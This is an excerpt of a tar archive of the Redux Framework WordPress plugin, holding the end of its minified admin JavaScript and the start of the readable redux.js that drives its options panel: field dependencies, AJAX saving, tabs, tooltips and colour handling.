e=x("#section-"+r);e.hasClass("redux-section-indent-start")&&(x("#section-table-"+r).fadeOut(50).addClass("hide"),e.fadeOut(50).addClass("hide"))}(x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-info")&&x("#info-"+r).fadeOut(50).addClass("hide"),x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-divide")&&x("#divide-"+r).fadeOut(50).addClass("hide"),x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-raw"))&&x("#"+redux.args.opt_name+"-"+r).parents().find("table#"+redux.args.opt_name+"-"+r).fadeOut(50).addClass("hide");redux.required.hasOwnProperty(r)&&x.each(redux.required[r],function(e){x.redux.required_recursive_hide(e)})})},x.redux.check_parents_dependencies=function(e){var i="";return redux.required_child.hasOwnProperty(e)?x.each(redux.required_child[e],function(e,r){if(x("#"+redux.args.opt_name+"-"+r.parent).parents("tr:first").hasClass("hide"))i=!1;else if(!1!==i){var t=x.redux.get_container_value(r.parent);i=x.redux.check_dependencies_visibility(t,r)}}):i=!0,i},x.redux.check_dependencies_visibility=function(t,e){var r,d=!1,i=e.checkValue,a=e.operation;switch(x.isPlainObject(t)&&(t=Object.keys(t).map(function(e){return[e,t[e]]})),a){case"=":case"equals":x.isArray(t)?x(t[0]).each(function(e,t){if(x.isArray(i))x(i).each(function(e,r){if(t==r)return d=!0});else if(t==i)return d=!0}):x.isArray(i)?x(i).each(function(e,r){t==r&&(d=!0)}):t==i&&(d=!0);break;case"!=":case"not":x.isArray(t)?x(t[0]).each(function(e,t){if(x.isArray(i))x(i).each(function(e,r){if(t!=r)return d=!0});else if(t!=i)return d=!0}):x.isArray(i)?x(i).each(function(e,r){t!=r&&(d=!0)}):t!=i&&(d=!0);break;case">":case"greater":case"is_larger":parseFloat(t)>parseFloat(i)&&(d=!0);break;case">=":case"greater_equal":case"is_larger_equal":parseFloat(t)>=parseFloat(i)&&(d=!0);break;case"<":case"less":case"is_smaller":parseFloat(t)<parseFloat(i)&&(d=!0);break;case"<=":case"less_equal":case"is_smaller_equal":parseFloat(t)<=parseFloat(i)&&(d=!0);break;case"contains":x.isPlainObject(t)&&(t=Object.keys(t).map(function(e){return[e,t[e]]})),x.isPlainObject(i)&&(i=Object.keys(i).map(function(e){return[e,i[e]]})),x.isArray(i)?x(i).each(function(e,r){var a=!1,n=r[0],s=r[1];if(x(t).each(function(e,r){var t=r[0],i=r[1];if(n===t&&s==i)return!(a=d=!0)}),!0===a)return!1}):-1!==t.toString().indexOf(i)&&(d=!0);break;case"doesnt_contain":case"not_contain":x.isPlainObject(t)&&(r=Object.keys(t).map(function(e){return t[e]}),t=r),x.isPlainObject(i)&&(r=Object.keys(i).map(function(e){return i[e]}),i=r),x.isArray(i)?x(i).each(function(e,r){-1===t.toString().indexOf(r)&&(d=!0)}):-1===t.toString().indexOf(i)&&(d=!0);break;case"is_empty_or":""!==t&&t!=i||(d=!0);break;case"not_empty_and":""!==t&&t!=i&&(d=!0);break;case"is_empty":case"empty":case"!isset":t&&""!==t&&null!==t||(d=!0);break;case"not_empty":case"!empty":case"isset":t&&""!==t&&null!==t&&(d=!0)}return d},x.redux.verifyPos=function(e,r){if(""===(e=e.replace(/^\s+|\s+$/gm,""))||-1==e.search(" "))return!0===r?"top left":"bottom right";var t=e.split(" "),i=r?"top":"bottom";"top"!=t[0]&&"center"!=t[0]&&"bottom"!=t[0]||(i=t[0]);var a=r?"left":"right";return"left"!=t[1]&&"center"!=t[1]&&"right"!=t[1]||(a=t[1]),i+" "+a},x.redux.stickyInfo=function(){var e=x(".redux-main").innerWidth()-20;x("#info_bar").isOnScreen()||x("#redux-footer-sticky").isOnScreen()?(x("#redux-footer").css({background:"#eee",position:"inherit",bottom:"inherit",width:"inherit"}),x("#redux-sticky-padder").hide(),x("#redux-footer").removeClass("sticky-footer-fixed")):(x("#redux-footer").css({position:"fixed",bottom:"0",width:e,right:21}),x("#redux-footer").addClass("sticky-footer-fixed"),x(".redux-save-warn").css("left",x("#redux-sticky").offset().left),x("#redux-sticky-padder").show()),x("#info_bar").isOnScreen()?x("#redux-sticky").removeClass("sticky-save-warn"):x("#redux-sticky").addClass("sticky-save-warn")},x.redux.expandOptions=function(e){var r=e.find(".expand_options"),t=e.find(".redux-sidebar").width()-1,i=x(".redux-group-menu .active a").data("rel")+"_section_group";return r.hasClass("expanded")?(r.removeClass("expanded"),e.find(".redux-main").removeClass("expand"),e.find(".redux-sidebar").stop().animate({"margin-left":"0px"},500),e.find(".redux-main").stop().animate({"margin-left":t},500,function(){e.find(".redux-main").attr("style","")}),e.find(".redux-group-tab").each(function(){x(this).attr("id")!==i&&x(this).fadeOut("fast")})):(r.addClass("expanded"),e.find(".redux-main").addClass("expand"),e.find(".redux-sidebar").stop().animate({"margin-left":-t-113},500),e.find(".redux-main").stop().animate({"margin-left":"-1px"},500),e.find(".redux-group-tab").fadeIn("medium",function(){x.redux.initFields()})),!1},x.redux.scaleToRatio=function(e,r,t){var i=0,a=e.attr("data-width");a||(a=e.width(),e.attr("data-width",a));var n=e.attr("data-height"),s=e.height();(!n||n<s)&&(n=s,e.attr("data-height",n),e.css("width","auto"),e.attr("data-width",e.width()),a=e.width()),t<a?(i=t/a,e.css("width",t),e.css("height",n*i),n*=i,a*=i):e.css("width","auto"),r<n?(i=r/n,e.css("height",r),e.css("width",a*i),a*=i,n*=i):e.css("height","auto");var d=(x(document.getElementById("redux-header")).height()-e.height())/2;0<d?e.css("margin-top",d):e.css("margin-top",0),x("#redux-header .redux_field_search")&&x("#redux-header .redux_field_search").css("right",x(e).width()+20)},x.redux.resizeAds=function(){var e,r=x("#redux-header");e=r.length?r.width()-r.find(".display_header").width()-30:(r=x("#customize-info")).width();var t=r.height(),i=r.find(".rAds");x(i).find("video").each(function(){x.redux.scaleToRatio(x(this),t,e)}),x(i).find("img").each(function(){x.redux.scaleToRatio(x(this),t,e)}),x(i).find("div").each(function(){x.redux.scaleToRatio(x(this),t,e)}),"-99999px"==i.css("left")&&i.css("display","none").css("left","auto"),i.fadeIn("slow")},x(document).ready(function(){if(redux.rAds){var e;(e=0<x("#redux-header").length?(x("#redux-header").append('<div class="rAds"></div>'),x("#redux-header")):(x("#customize-theme-controls ul").first().prepend('<li id="redux_rAds" class="accordion-section rAdsContainer" style="position: relative;"><div class="rAds"></div></li>'),x("#redux_rAds"))).css("position","relative"),e.find(".rAds").attr("style","position:absolute; top: 6px; right: 9px; display:block !important;overflow:hidden;").css("left","-99999px"),e.find(".rAds").html(redux.rAds.replace(/<br\s?\/?>/,""));var r=e.find(".rAds");x(r).hide(),r.bind("DOMSubtreeModified",function(){0<=x(this).html().indexOf("<a href")&&(r.find("img").css("visibility","hidden"),setTimeout(function(){r.show(),x.redux.resizeAds()},400),r.find("img").css("visibility","inherit"),r.unbind("DOMSubtreeModified"))}),x(window).resize(function(){x.redux.resizeAds()})}})}(jQuery),jQuery.noConflict();var confirmOnPageExit=function(e){e=e||window.event;var r=redux.args.save_pending;return e&&(e.returnValue=r),window.onbeforeunload=null,r};function redux_change(e){e=jQuery(e),jQuery("body").trigger("check_dependencies",e),e.hasClass("compiler")&&jQuery("#redux-compiler-hook").val(1);var r=jQuery(e).parents(".redux-container:first"),t=jQuery(e).closest(".redux-group-tab").attr("id"),i=t.split("_");i=i[0];var a=r.find('.redux-group-tab-link-a[data-key="'+i+'"]').parents(".redux-group-tab-link-li:first"),n=jQuery("#"+t+"_li").parents(".hasSubSections:first");if(jQuery(e).parents("fieldset.redux-field:first").hasClass("redux-field-error")){jQuery(e).parents("fieldset.redux-field:first").removeClass("redux-field-error"),jQuery(e).parent().find(".redux-th-error").slideUp();var s=parseInt(r.find(".redux-field-errors span").text())-1;if(s<=0)jQuery("#"+t+"_li .redux-menu-error").fadeOut("fast").remove(),jQuery("#"+t+"_li .redux-group-tab-link-a").removeClass("hasError"),jQuery("#"+t+"_li").parents(".inside:first").find(".redux-field-errors").slideUp(),jQuery(e).parents(".redux-container:first").find(".redux-field-errors").slideUp(),jQuery("#redux_metaboxes_errors").slideUp();else{var d=parseInt(a.find(".redux-menu-error:first").text())-1;d<=0?a.find(".redux-menu-error:first").fadeOut().remove():a.find(".redux-menu-error:first").text(d),r.find(".redux-field-errors span").text(s)}0!==n.length&&0===n.find(".redux-menu-error").length&&n.find(".hasError").removeClass("hasError")}if(jQuery(e).parents("fieldset.redux-field:first").hasClass("redux-field-warning")){jQuery(e).parents("fieldset.redux-field:first").removeClass("redux-field-warning"),jQuery(e).parent().find(".redux-th-warning").slideUp();var o=parseInt(r.find(".redux-field-warnings span").text())-1;if(o<=0)jQuery("#"+t+"_li .redux-menu-warning").fadeOut("fast").remove(),jQuery("#"+t+"_li .redux-group-tab-link-a").removeClass("hasWarning"),jQuery("#"+t+"_li").parents(".inside:first").find(".redux-field-warnings").slideUp(),jQuery(e).parents(".redux-container:first").find(".redux-field-warnings").slideUp(),jQuery("#redux_metaboxes_warnings").slideUp();else{var u=parseInt(a.find(".redux-menu-warning:first").text())-1;u<=0?a.find(".redux-menu-warning:first").fadeOut().remove():a.find(".redux-menu-warning:first").text(u),r.find(".redux-field-warning span").text(o)}0!==n.length&&0===n.find(".redux-menu-warning").length&&n.find(".hasWarning").removeClass("hasWarning")}0<r.find(".saved_notice:visible").length||redux.args.disable_save_warn||(r.find(".redux-save-warn").slideDown(),window.onbeforeunload=confirmOnPageExit)}function colorValidate(e){var r=jQuery(e).val(),t=colorNameToHex(r);return t!==r.replace("#","")?t:r}function colorNameToHex(e){var r=e.replace(/^\s\s*/,"").replace(/\s\s*$/,"").replace("#",""),t={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4","indianred ":"#cd5c5c","indigo ":"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#ff0000",redux:"#01a3e3",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"};return"undefined"!==t[r.toLowerCase()]?t[r.toLowerCase()]:e}function redux_hook(e,r,t,i){var a;a=e[r],e[r]=function(){!0===i&&t.apply(this,[e,a,arguments]);var e=a.apply(this,arguments);return!0!==i&&t.apply(this,[e,a,arguments]),e}}����������������������������������������������������������������������������������������������������������������redux-framework/assets/js/redux.js������������������������������������������������������������������0000644�����������������00000212267�14720701300�0013275 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global redux, confirm, relid:true, jsonView */ (function( $ ) { 'use strict'; $.redux = $.redux || {}; $( document ).ready( function() { $.fn.isOnScreen = function() { if ( !window ) { return; } var win = $( window ); var viewport = { top: win.scrollTop(), }; viewport.right = viewport.left + win.width(); viewport.bottom = viewport.top + win.height(); var bounds = this.offset(); bounds.right = bounds.left + this.outerWidth(); bounds.bottom = bounds.top + this.outerHeight(); return (!(viewport.right < bounds.left || viewport.left > bounds.right || viewport.bottom < bounds.top || viewport.top > bounds.bottom)); }; $.redux.hideFields(); $.redux.checkRequired(); $.redux.initEvents(); $.redux.initQtip(); $.redux.tabCheck(); $.redux.notices(); $.redux.tabControl(); } ); $.redux.ajax_save = function( button ) { var overlay = $( document.getElementById( 'redux_ajax_overlay' ) ); overlay.fadeIn(); // Add the loading mechanism jQuery( '.redux-action_bar .spinner' ).addClass( 'is-active' ); jQuery( '.redux-action_bar input' ).attr( 'disabled', 'disabled' ); var $notification_bar = jQuery( document.getElementById( 'redux_notification_bar' ) ); $notification_bar.slideUp(); jQuery( '.redux-save-warn' ).slideUp(); jQuery( '.redux_ajax_save_error' ).slideUp( 'medium', function() { jQuery( this ).remove(); } ); var $parent = jQuery( document.getElementById( "redux-form-wrapper" ) ); // Editor field doesn't auto save. Have to call it. Boo. if ( redux.fields.hasOwnProperty( "editor" ) ) { $.each( redux.fields.editor, function( $key, $index ) { if ( typeof(tinyMCE) !== 'undefined' ) { var editor = tinyMCE.get( $key ); if ( editor ) { editor.save(); } } } ); } var $data = $parent.serialize(); // add values for checked and unchecked checkboxes fields $parent.find( 'input[type=checkbox]' ).each( function() { if ( typeof $( this ).attr( 'name' ) !== "undefined" ) { var chkVal = $( this ).is( ':checked' ) ? $( this ).val() : "0"; $data += "&" + $( this ).attr( 'name' ) + "=" + chkVal; } } ); if ( button.attr( 'name' ) != "redux_save" ) { $data += "&" + button.attr( 'name' ) + "=" + button.val(); } var $nonce = $parent.attr( "data-nonce" ); jQuery.ajax( { type: "post", dataType: "json", url: ajaxurl, data: { action: redux.args.opt_name + "_ajax_save", nonce: $nonce, 'opt_name': redux.args.opt_name, data: $data }, error: function( response ) { if ( !window.console ) console = {}; console.log = console.log || function( name, data ) {}; console.log( redux.ajax.console ); console.log( response.responseText ); jQuery( '.redux-action_bar input' ).removeAttr( 'disabled' ); overlay.fadeOut( 'fast' ); jQuery( '.redux-action_bar .spinner' ).removeClass( 'is-active' ); alert( redux.ajax.alert ); }, success: function( response ) { if ( response.action && response.action == "reload" ) { location.reload( true ); } else if ( response.status == "success" ) { jQuery( '.redux-action_bar input' ).removeAttr( 'disabled' ); overlay.fadeOut( 'fast' ); jQuery( '.redux-action_bar .spinner' ).removeClass( 'is-active' ); redux.options = response.options; //redux.defaults = response.defaults; redux.errors = response.errors; redux.warnings = response.warnings; $notification_bar.html( response.notification_bar ).slideDown( 'fast' ); if ( response.errors !== null || response.warnings !== null ) { $.redux.notices(); } var $save_notice = $( document.getElementById( 'redux_notification_bar' ) ).find( '.saved_notice' ); $save_notice.slideDown(); $save_notice.delay( 4000 ).slideUp(); } else { jQuery( '.redux-action_bar input' ).removeAttr( 'disabled' ); jQuery( '.redux-action_bar .spinner' ).removeClass( 'is-active' ); overlay.fadeOut( 'fast' ); jQuery( '.wrap h2:first' ).parent().append( '<div class="error redux_ajax_save_error" style="display:none;"><p>' + response.status + '</p></div>' ); jQuery( '.redux_ajax_save_error' ).slideDown(); jQuery( "html, body" ).animate( {scrollTop: 0}, "slow" ); } } } ); return false; }; $.redux.initEvents = function() { $( '.redux-presets-bar' ).on( 'click', function() { window.onbeforeunload = null; } ); $( '#toplevel_page_' + redux.args.slug + ' .wp-submenu a, #wp-admin-bar-' + redux.args.slug + ' a.ab-item' ).click( function( e ) { if ( ( $( '#toplevel_page_' + redux.args.slug ).hasClass( 'wp-menu-open' ) || $( this ).hasClass( 'ab-item' ) ) && !$( this ).parents( 'ul.ab-submenu:first' ).hasClass( 'ab-sub-secondary' ) && $( this ).attr( 'href' ).toLowerCase().indexOf( redux.args.slug + "&tab=" ) >= 0 ) { e.preventDefault(); var url = $( this ).attr( 'href' ).split( '&tab=' ); $( '#' + url[1] + '_section_group_li_a' ).click(); $( this ).parents( 'ul:first' ).find( '.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); $( this ).parent().addClass( 'current' ); return false; } } ); // Save button clicked $( '.redux-action_bar input, #redux-import-action input' ).on( 'click', function( e ) { if ( $( this ).attr( 'name' ) == redux.args.opt_name + '[defaults]' ) { // Defaults button clicked if ( !confirm( redux.args.reset_confirm ) ) { return false; } } else if ( $( this ).attr( 'name' ) == redux.args.opt_name + '[defaults-section]' ) { // Default section clicked if ( !confirm( redux.args.reset_section_confirm ) ) { return false; } } else if ( $( this ).attr( 'name' ) == 'import' ) { if ( !confirm( redux.args.import_section_confirm ) ) { return false; } } window.onbeforeunload = null; if ( redux.args.ajax_save === true ) { $.redux.ajax_save( $( this ) ); e.preventDefault(); } else { location.reload( true ); } } ); $( '.expand_options' ).click( function( e ) { e.preventDefault(); var container = $( '.redux-container' ); if ( $( container ).hasClass( 'fully-expanded' ) ) { $( container ).removeClass( 'fully-expanded' ); var tab = $.cookie( "redux_current_tab" ); $( '.redux-container:first' ).find( '#' + tab + '_section_group' ).fadeIn( 200, function() { if ( $( '.redux-container:first' ).find( '#redux-footer' ).length !== 0 ) { $.redux.stickyInfo(); // race condition fix } $.redux.initFields(); } ); } $.redux.expandOptions( $( this ).parents( '.redux-container:first' ) ); return false; } ); if ( $( '.saved_notice' ).is( ':visible' ) ) { $( '.saved_notice' ).slideDown(); } $( document.body ).on( 'change', '.redux-field input, .redux-field textarea, .redux-field select', function() { if ( !$( this ).hasClass( 'noUpdate' ) ) { redux_change( $( this ) ); } } ); var stickyHeight = $( '#redux-footer' ).height(); $( '#redux-sticky-padder' ).css( { height: stickyHeight } ); $( '#redux-footer-sticky' ).removeClass( 'hide' ); if ( $( '#redux-footer' ).length !== 0 ) { $( window ).scroll( function() { $.redux.stickyInfo(); } ); $( window ).resize( function() { $.redux.stickyInfo(); } ); } $( '.saved_notice' ).delay( 4000 ).slideUp(); }; $.redux.hideFields = function() { $( "label[for='redux_hide_field']" ).each( function( idx, val ) { var tr = $( this ).parent().parent(); $( tr ).addClass( 'hidden' ); } ); }; $.redux.checkRequired = function() { $.redux.required(); $( "body" ).on( 'change', '.redux-main select, .redux-main radio, .redux-main input[type=checkbox], .redux-main input[type=hidden]', function( e ) { $.redux.check_dependencies( this ); } ); $( "body" ).on( 'check_dependencies', function( e, variable ) { $.redux.check_dependencies( variable ); } ); $( '.redux-container td > fieldset:empty,td > div:empty' ).parent().parent().hide(); }; $.redux.initQtip = function() { if ( $().qtip ) { // Shadow var shadow = ''; var tip_shadow = redux.args.hints.tip_style.shadow; if ( tip_shadow === true ) { shadow = 'qtip-shadow'; } // Color var color = ''; var tip_color = redux.args.hints.tip_style.color; if ( tip_color !== '' ) { color = 'qtip-' + tip_color; } // Rounded var rounded = ''; var tip_rounded = redux.args.hints.tip_style.rounded; if ( tip_rounded === true ) { rounded = 'qtip-rounded'; } // Tip style var style = ''; var tip_style = redux.args.hints.tip_style.style; if ( tip_style !== '' ) { style = 'qtip-' + tip_style; } var classes = shadow + ',' + color + ',' + rounded + ',' + style + ',redux-qtip'; classes = classes.replace( /,/g, ' ' ); // Get position data var myPos = redux.args.hints.tip_position.my; var atPos = redux.args.hints.tip_position.at; // Gotta be lowercase, and in proper format myPos = $.redux.verifyPos( myPos.toLowerCase(), true ); atPos = $.redux.verifyPos( atPos.toLowerCase(), false ); // Tooltip trigger action var showEvent = redux.args.hints.tip_effect.show.event; var hideEvent = redux.args.hints.tip_effect.hide.event; // Tip show effect var tipShowEffect = redux.args.hints.tip_effect.show.effect; var tipShowDuration = redux.args.hints.tip_effect.show.duration; // Tip hide effect var tipHideEffect = redux.args.hints.tip_effect.hide.effect; var tipHideDuration = redux.args.hints.tip_effect.hide.duration; $( 'div.redux-dev-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { $( this ).slideDown( 500 ); }, event: 'mouseover', }, hide: { effect: function() { $( this ).slideUp( 500 ); }, event: 'mouseleave', }, style: { classes: 'qtip-shadow qtip-light', }, position: { my: 'top center', at: 'bottom center', }, } ); } ); $( 'div.redux-hint-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { switch ( tipShowEffect ) { case 'slide': $( this ).slideDown( tipShowDuration ); break; case 'fade': $( this ).fadeIn( tipShowDuration ); break; default: $( this ).show(); break; } }, event: showEvent, }, hide: { effect: function() { switch ( tipHideEffect ) { case 'slide': $( this ).slideUp( tipHideDuration ); break; case 'fade': $( this ).fadeOut( tipHideDuration ); break; default: $( this ).hide( tipHideDuration ); break; } }, event: hideEvent, }, style: { classes: classes, }, position: { my: myPos, at: atPos, }, } ); } ); // }); $( 'input[qtip-content]' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: 'focus', hide: 'blur', style: classes, position: { my: myPos, at: atPos, }, } ); } ); } }; $.redux.tabCheck = function() { $( '.redux-group-tab-link-a' ).click( function() { var link = $( this ); if ( link.parent().hasClass( 'empty_section' ) && link.parent().hasClass( 'hasSubSections' ) ) { var elements = $( this ).closest( 'ul' ).find( '.redux-group-tab-link-a' ); var index = elements.index( this ); link = elements.slice( index + 1, index + 2 ); } var el = link.parents( '.redux-container:first' ); var relid = link.data( 'rel' ); // The group ID of interest var oldid = el.find( '.redux-group-tab-link-li.active:first .redux-group-tab-link-a' ).data( 'rel' ); //console.log('id: '+relid+' oldid: '+oldid); if ( oldid === relid ) { return; } $( '#currentSection' ).val( relid ); if ( !link.parents( '.postbox-container:first' ).length ) { // Set the proper page cookie $.cookie( 'redux_current_tab', relid, { expires: 7, path: '/' } ); } if ( el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).length ) { var parentID = el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).attr( 'id' ).split( '_' ); parentID = parentID[0]; } el.find( '#toplevel_page_' + redux.args.slug + ' .wp-submenu a.current' ).removeClass( 'current' ); el.find( '#toplevel_page_' + redux.args.slug + ' .wp-submenu li.current' ).removeClass( 'current' ); el.find( '#toplevel_page_' + redux.args.slug + ' .wp-submenu a' ).each( function() { var url = $( this ).attr( 'href' ).split( '&tab=' ); if ( url[1] == relid || url[1] == parentID ) { $( this ).addClass( 'current' ); $( this ).parent().addClass( 'current' ); } } ); if ( el.find( '#' + oldid + '_section_group_li' ).find( '#' + oldid + '_section_group_li' ).length ) { //console.log('RELID is child of oldid'); el.find( '#' + oldid + '_section_group_li' ).addClass( 'activeChild' ); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ); } else if ( el.find( '#' + relid + '_section_group_li' ).parents( '#' + oldid + '_section_group_li' ).length || el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).find( '#' + relid + '_section_group_li' ).length ) { //console.log('RELID is sibling or child of OLDID'); if ( el.find( '#' + relid + '_section_group_li' ).parents( '#' + oldid + '_section_group_li' ).length ) { //console.log('child of oldid'); el.find( '#' + oldid + '_section_group_li' ).addClass( 'activeChild' ).removeClass( 'active' ); } else { //console.log('sibling'); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); } el.find( '#' + relid + '_section_group_li' ).removeClass( 'activeChild' ).addClass( 'active' ); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); if ( el.find( '#' + oldid + '_section_group_li' ).find( 'ul.subsection' ).length ) { //console.log('oldid is parent'); //console.log('#' + relid + '_section_group_li'); el.find( '#' + oldid + '_section_group_li' ).find( 'ul.subsection' ).slideUp( 'fast', function() { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ).removeClass( 'activeChild' ); } ); var newParent = el.find( '#' + relid + '_section_group_li' ).parents( '.hasSubSections:first' ); if ( newParent.length > 0 ) { el.find( '#' + relid + '_section_group_li' ).removeClass( 'active' ); relid = newParent.find( '.redux-group-tab-link-a:first' ).data( 'rel' ); //console.log(relid); if ( newParent.hasClass( 'empty_section' ) ) { newParent.find( '.subsection li:first' ).addClass( 'active' ); el.find( '#' + relid + '_section_group_li' ).removeClass( 'active' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); newParent = newParent.find( '.subsection li:first' ); relid = newParent.find( '.redux-group-tab-link-a:first' ).data( 'rel' ); //console.log('Empty section, do the next one?'); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); } } } else if ( el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).length ) { //console.log('oldid is a child'); if ( !el.find( '#' + oldid + '_section_group_li' ).parents( '#' + relid + '_section_group_li' ).length ) { //console.log('oldid is child, but not of relid'); el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).slideUp( 'fast', function() { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); el.find( '#' + oldid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).removeClass( 'active' ).removeClass( 'activeChild' ); el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); } ); } else { //console.log('oldid is child, but not of relid2'); el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); } } else { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); if ( el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).length ) { el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); } } } // Show the group el.find( '#' + oldid + '_section_group' ).hide(); el.find( '#' + relid + '_section_group' ).fadeIn( 200, function() { if ( el.find( '#redux-footer' ).length !== 0 ) { $.redux.stickyInfo(); // race condition fix } $.redux.initFields(); } ); $( '#toplevel_page_' + redux.args.slug ).find( '.current' ).removeClass( 'current' ); } ); if ( redux.last_tab !== undefined ) { $( '#' + redux.last_tab + '_section_group_li_a' ).click(); return; } var tab = decodeURI( (new RegExp( 'tab' + '=' + '(.+?)(&|$)' ).exec( location.search ) || ['', ''])[1] ); if ( tab !== "" ) { if ( $.cookie( "redux_current_tab_get" ) !== tab ) { $.cookie( 'redux_current_tab', tab, { expires: 7, path: '/' } ); $.cookie( 'redux_current_tab_get', tab, { expires: 7, path: '/' } ); $( '#' + tab + '_section_group_li' ).click(); } } else if ( $.cookie( 'redux_current_tab_get' ) !== "" ) { $.removeCookie( 'redux_current_tab_get' ); } var sTab = $( '#' + $.cookie( "redux_current_tab" ) + '_section_group_li_a' ); // Tab the first item or the saved one if ( $.cookie( "redux_current_tab" ) === null || typeof ($.cookie( "redux_current_tab" )) === "undefined" || sTab.length === 0 ) { $( '.redux-container' ).find( '.redux-group-tab-link-a:first' ).click(); } else { sTab.click(); } }; $.redux.initFields = function() { $( ".redux-group-tab:visible" ).find( ".redux-field-init:visible" ).each( function() { var type = $( this ).attr( 'data-type' ); //console.log(type); //if ( typeof redux.field_objects != 'undefined' && redux.field_objects[type] && redux.field_objects[type] ) { if ( type in redux.field_objects && typeof redux.field_objects[type].init == 'function' ) { redux.field_objects[type].init(); } if ( !redux.customizer && $( this ).hasClass( 'redux_remove_th' ) ) { var tr = $( this ).parents( 'tr:first' ); var th = tr.find( 'th:first' ); if ( th.html() && th.html().length > 0 ) { $( this ).prepend( th.html() ); $( this ).find( '.redux_field_th' ).css( 'padding', 